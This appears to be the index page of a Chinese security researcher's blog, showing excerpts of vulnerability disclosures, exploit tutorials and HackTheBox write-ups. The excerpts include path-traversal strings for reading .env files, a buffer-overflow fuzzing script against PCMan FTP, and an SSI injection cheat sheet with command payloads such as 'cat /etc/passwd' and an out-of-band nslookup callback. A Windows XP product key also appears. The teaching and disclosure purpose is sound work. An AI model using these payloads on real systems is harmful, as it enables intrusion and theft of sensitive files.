@Unc1e UNC.LA
I work in network security and write about engineering practice, work, and life.
This is my personal site. I write articles carefully and build projects steadily; occasionally I also put up little things I find interesting.
http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf attachments-2021-09-4oFjTAjm6142e9d617e23.pdf E:\Desktop\CodeAudit\v3.5.5\storage\app\ attachments\2021\09 E:\Desktop\CodeAudit\v3.5.5\storage\logs\laravel.log # E:\Desktop\CodeAudit\v3.5.5\storage\app\..-logs-laravel.log E:\Desktop\CodeAudit\v3.5.5\.env E:\Desktop\CodeAudit\v3.5.5\storage\app\..-..-.env The latest version of Tipask contains an “arbitrary local file download” vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected. ...
Using a recent case, let’s talk about some techniques for obtaining source code in real engagements. (This is also material from a closed-door sharing session a while back: hope you guys enjoy it~ Liquid Files Liquid Files is a foreign file-sharing (cloud disk) system; official site: https://www.liquidfiles.com/ It’s a commercial system, widely used abroad. Today we’ll try to obtain the source code of this system and conduct a preliminary attack-surface assessment (an initial code audit). ...
[CVE-2013-4730] PCMan’s FTP Server Course links: https://www.secpulse.com/archives/116030.html https://www.aqniukt.com/goods/show/597?targetId=12784&preview=0 Installing Windows XP Windows XP Home Edition Simplified Chinese retail original CD-KEY: BQJG2-2MJT7-H7F6K-XW98B-4HQRQ Basic Steps of the Overflow 1. Trigger the exception import socket import sys s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("pacman",21)) # login BOF # Confirm the crash caused by bof here # It crashed at 2000 for i in range(1990, 2050): if i % 1 == 0: s.send(b"USER: " + "A".encode()*i + "\r\n".encode()) data = s.recv(1024) print(str(i) + ":" + data.decode()) 2. Analyze the exception => determine exploitability We observe that after sending 2000 A’s, the FTP server crashes and the EIP register is overwritten with AAAA (i.e., the 41414141 shown in the screenshot) ...
Vulnerability name: ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required) Author: Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) This document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild. 0x01 Background Last December, there was a security issue caused by improper URLDecode. See https://github.com/thinksaas/ThinkSAAS/issues/24 ...
0. Background Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information. dirsearch supports scanning for Actuator endpoints. 1. Vulnerability Detection Identifying SpringBoot /error, There was an unexpected error (type=None, status=<font style="color:rgb(0, 0, 0);">999</font>). /resume, There was an unexpected error (type=Method Not Allowed, status=<font style="color:rgb(0, 0, 0);">405</font>). For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path. ...
0x00 Cheat Sheet The keywords exec and cmd are case-insensitive, so mixed-case combinations can be considered for bypasses "-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="nslookup -q=cname vul.ssi.0yuj7c.ceye.io" --> "-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="cat /etc/passwd" --> Common commands # General PoC <!--#eXEc cMd="ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1 :" --> # Linux <!--#eXEc cMd="cat /etc/passwd" --> <!--#Exec cmD="ls" --> <!--#eXEc cMd="sleep 5" --> # windows <!--#eXEc cMd="dir" --> 0x01 Concepts The following is compiled from the Apache httpd tutorial[1]; feel free to skip the gray parts (TL;DR): ...
0x00 Background ImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE). This vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete. ...
0x01 Background Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz’s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz. ...
Information Gathering Nmap Nmap scan report for Monitors.HTB (10.10.10.238) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor – Taking hardware monitoring seriously Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel WordPress version 5.5.1 — registration is not allowed ...
Entry Point Nmap http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) How do you get the GitLab version? — According to https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab, we know that: Register a user, log in, and you can see the version Search for it, and there’s an exploit: https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py Successfully got a shell as the git user Privilege Escalation version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 Digging further ...